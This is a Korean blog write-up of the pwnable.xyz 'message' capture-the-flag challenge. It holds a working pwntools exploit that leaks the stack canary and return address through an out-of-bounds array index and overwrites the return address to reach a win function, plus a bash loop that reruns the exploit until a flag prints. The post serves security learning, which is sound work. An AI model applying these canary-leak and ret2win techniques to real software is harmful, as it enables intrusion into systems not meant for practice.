security/포너블 - pwnable.xyz

pwnable.xyz - message

민사민서 2023. 2. 16. 21:15
#!/bin/bash

for i in {1..100}
do
    output=$(timeout 5s python my_python_file.py)
    if [[ $output == *"FLAG{"*"}"* ]]; then
        flag=$(echo "$output" | grep -o "FLAG{[^}]*}")
        echo "FLAG FOUND: $flag"
        exit 0
    else
        echo "FLAG NOT FOUND."
    fi
done

echo "FLAG NOT FOUND in 100 tries"​
from pwn import *

p = remote("svc.pwnable.xyz", 30017)
# p = process("./challenge")

p.sendlineafter("Message: ", "minseo")

cnry = 0x0
for i in range(17,10,-1): # 첫바이트는 NULL
    p.sendlineafter("> ", chr(48+i))
    leaked = int(p.recvline()[7:-23])
    # print(hex(leaked))
    cnry += leaked
    cnry = cnry << 8

# gdb.attach(p) ; b *get_choice+21 후 [rbp-0x8] 확인해 제대로 canary leak 된 것 확인
# get_choice의 SFP에 저장된 main RBP를 이용해 main canary도 동일함을 확인

ret = 0x0
for i in range(31,25,-1):
    p.sendlineafter("> ", chr(48+i))
    leaked = int(p.recvline()[7:-23])
    ret = ret << 8
    ret += leaked
# print(hex(ret))
# gdb.attach(p) ; ret 제대로 leak 됨을 확인

winAddr = ret - 0xb30 + 0xaac
print(hex(cnry))
print(hex(winAddr))

pay = b'A'*40+p64(cnry)+b'C'*8+p64(winAddr)
p.sendlineafter("> ", "1")
p.sendlineafter("Message: ", pay)
p.sendlineafter("> ", "0")

p.interactive()

 

 

int __cdecl main(int argc, const char **argv, const char **envp)
{
  int choice; // eax
  char v5[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v6; // [rsp+38h] [rbp-8h]

  v6 = __readfsqword(0x28u);
  setup(argc, argv, envp);
  puts("Message taker.");
  printf("Message: ");
// c언어에서 표현하는 모든 문자열의 끝에는 널바이트 삽입됨
// 길이제한 없음. bof 가능 -> RET overwrite
  _isoc99_scanf("%s", v5);
  getchar();
  while ( 1 )
  {
    while ( 1 )
    {
// puts("Menu:\n1. Edit message.\n2. Print message.\n3. Admin?");
      print_menu();
      printf("> ");
      choice = get_choice();
      if ( choice != 1 )
        break;
      printf("Message: ");
      _isoc99_scanf("%s", v5);
      getchar();
    }
    if ( choice <= 1 )
      break;
    if ( choice == 2 )
    {
      printf("Your message: %s\n", v5);
    }
    else if ( choice == 3 )
    {
      if ( admin ) // 전역변수 admin
        win();
    }
    else
    {
LABEL_14:
      printf("Error: %d is not a valid option\n", (unsigned int)choice);
    }
  }
  if ( choice )
    goto LABEL_14;
  return 0;
}
__int64 get_choice()
{
  char v1; // [rsp+Dh] [rbp-13h]
  char v2[10]; // [rsp+Eh] [rbp-12h]
  unsigned __int64 v3; // [rsp+18h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  v2[0] = 0;
  v2[1] = 1;
  v2[2] = 2;
  v2[3] = 3;
  v2[4] = 4;
  v2[5] = 5;
  v2[6] = 6;
  v2[7] = 7;
  v2[8] = 8;
  v2[9] = 9;
  v1 = getchar();
  getchar();
  return (unsigned __int8)v2[v1 - 48];
}

Full RELRO      Canary found      NX enabled    PIE enabled

- get_choice() v2에서 OOB 취약점 발생, 스택값 1byte씩 유출 가능
- __readfsqword(0x28u)의 리턴값은 실행중인 코드 내에서는 동일할 것. fs:0x28 위치의 8B 값이므로
 => get_choice()나 main()이나 canary 값 동일
- RET 유출시켜 offset 이용해 win 함수의 주소 구한다
get_choice RET
pwndbg> x/gx $rbp+0x8
0x7fffffffddb8:    0x0000555555554b30 ; main+113

0x0000555555554bc3 <+260>: call   0x555555554aac <win>
0x555555554aac <win>

- canary는 v2[10~17], SFP는 v2[18~25], RET는 v2[26~33]
- 주의할 점: canary 첫바이트(little endian 기준)는 NULL byte이므로 읽어들이려고 할 시 choice=0 되면서 main 함수 종료!
- 40 Dummy bytes + leaked canary + 8 Dummy bytes + winAddr 이렇게 payload 보내고
- ret2win 시키면 된다!

<로컬에서 돌려보니>
RET에 win 주소를 다이렉트로 입력하니 <do_system+1094> 라인에서 오류 발생.
system 함수 내에서 발생하는 오류로 rsp 값이 0x16 배수로 정렬되어있지 않아 발생한다
RET에 call win 명령어의 주소(main+260) 입력하니 제대로 익스플로잇 됨

<원격에선>
\x0a, \x0b를 만나면 white space로 인식해 그 전까지만 입력받음..

새로 알게된 점

gets(str)함수나 scanf("%s", &str) 함수는 white space 만날때까지 입력받는다. 중간에 널바이트 껴있어도 제대로 입력됨!!

When you use scanf with %s it reads until it hits whitespace.

 

ChatGPT 이용해 파이썬 반복실행 쉘코드를 짜봤다

#!/bin/bash

for i in {1..100}
do
    output=$(timeout 5s python my_python_file.py)
    if [[ $output == *"FLAG{"*"}"* ]]; then
        flag=$(echo "$output" | grep -o "FLAG{[^}]*}")
        echo "FLAG FOUND: $flag"
        exit 0
    else
        echo "FLAG NOT FOUND."
    fi
done

echo "FLAG NOT FOUND in 100 tries"

- The first line #!/bin/bash is called the shebang and specifies that the script should be executed using the Bash shell
- The for loop will run the python my_python_file.py command 100 times, incrementing the i variable from 1 to 100
- The timeout command will run the python my_python_file.py command and terminate it after 5 seconds if it hasn't finished yet
- The output variable stores the output of the python command.
- The if statement checks whether the output variable contains a string that starts with "FLAG{" and ends with "}" using a pattern matching operator == *"FLAG{"*"}"*.
- If the condition is true, the grep command with the -o option will extract the content between the brackets, and the result is stored in the flag variable.
- Save this code as a shell script file with a .sh extension, for example my_shell_script.sh. Then you can make the file executable by running the command chmod +x my_shell_script.sh.

 

왜 원격에선 안되지??

leak 한 canary나 win함수 내 바이트가 scanf의 종료 char (우리에겐 bad characters)가 '띄어쓰기(0x20) 혹은 엔터(0x0a)'가 포함되어 있을 때니까 당황하지 말고 될 때까지 돌려주면 된다!

 

 

'security > 포너블 - pwnable.xyz' 카테고리의 다른 글

pwnable.xyz - iape  (0) 2023.02.15
pwnable.xyz - strcat  (0) 2023.02.12
pwnable.xyz - J-U-M-P  (0) 2023.02.12
pwnable.xyz - SUS  (0) 2023.02.09
pwnable.xyz - fspoo  (0) 2023.02.09